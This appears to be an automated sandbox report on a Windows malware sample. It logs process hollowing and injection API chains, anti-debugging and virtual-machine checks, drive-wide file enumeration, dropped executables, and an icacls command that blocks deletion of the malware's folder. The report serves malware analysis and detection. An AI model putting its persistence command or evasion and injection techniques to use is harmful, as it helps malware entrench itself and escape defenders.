Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 0_2_022616FC rdtsc

0_2_022616FC

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

7_2_0040E670

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Thread delayed: delay time: 700000

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wct425E.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\tmpF2C2.tmp.mmuz (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\chrome.exe.mmuz (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tmpF2C2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-1066

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_7-45715
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_0-39205

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe TID: 4388	Thread sleep time: -700000s >= -30000s
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe TID: 6812	Thread sleep count: 182 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Code function: 1_2_00F91718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00F91754h

1_2_00F91718

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Code function: 1_2_00F929E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	1_2_00F929E2
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	7_2_00410160
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	7_2_0040F730
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	7_2_0040FB98

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Code function: 1_2_00F92B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_00F92B8C

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Thread delayed: delay time: 700000

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2422156163.0000000000718000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>{%SystemRoot%\system32\mswsock.dllrr
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174963627.00000000008E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: OmbNjE.exe, 00000017.00000002.2377859144.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y,
Source: OmbNjE.exe, 00000001.00000002.2173933095.0000000000660000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000003.2110497969.000000000063B000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2173933095.000000000061E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000003.2110497969.0000000000660000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174963627.0000000000906000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174963627.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000003.2206689096.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: OmbNjE.exe, 00000012.00000002.2299522486.0000000000D75000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: OmbNjE.exe, 00000012.00000002.2299522486.0000000000D75000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6\
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000003.2262004062.00000000008E4000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnV

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	API call chain: ExitProcess graph end node			graph_1-1041
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	API call chain: ExitProcess graph end node			graph_7-45717

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 0_2_022616FC rdtsc

0_2_022616FC

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 0_2_00404D40 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00404D40

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 7_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

7_2_0042A57A

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

0_2_004099C9

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_00505044 mov eax, dword ptr fs:[00000030h]	0_2_00505044
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02260083 push dword ptr fs:[00000030h]	0_2_02260083
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02300042 push dword ptr fs:[00000030h]	0_2_02300042
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_02220083 push dword ptr fs:[00000030h]	9_2_02220083
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022C0042 push dword ptr fs:[00000030h]	9_2_022C0042
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_021E0083 push dword ptr fs:[00000030h]	10_2_021E0083
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_02280042 push dword ptr fs:[00000030h]	10_2_02280042

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 7_2_004278D5 GetProcessHeap,

7_2_004278D5

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_004092B7 SetUnhandledExceptionFilter,	0_2_004092B7
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_00404D40 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00404D40
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_004039FF __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004039FF
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_00405B87 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00405B87
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_004329EC
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_004329BB SetUnhandledExceptionFilter,	7_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 0_2_02300110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_02300110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Memory written: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Memory written: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Memory written: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Memory written: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Memory written: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe base: 400000 value starts with: 4D5A

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section unmapped: C:\Users\user\AppData\Local\Temp\OmbNjE.exe base address: 400000
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section unmapped: C:\Windows\SysWOW64\icacls.exe base address: 400000

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

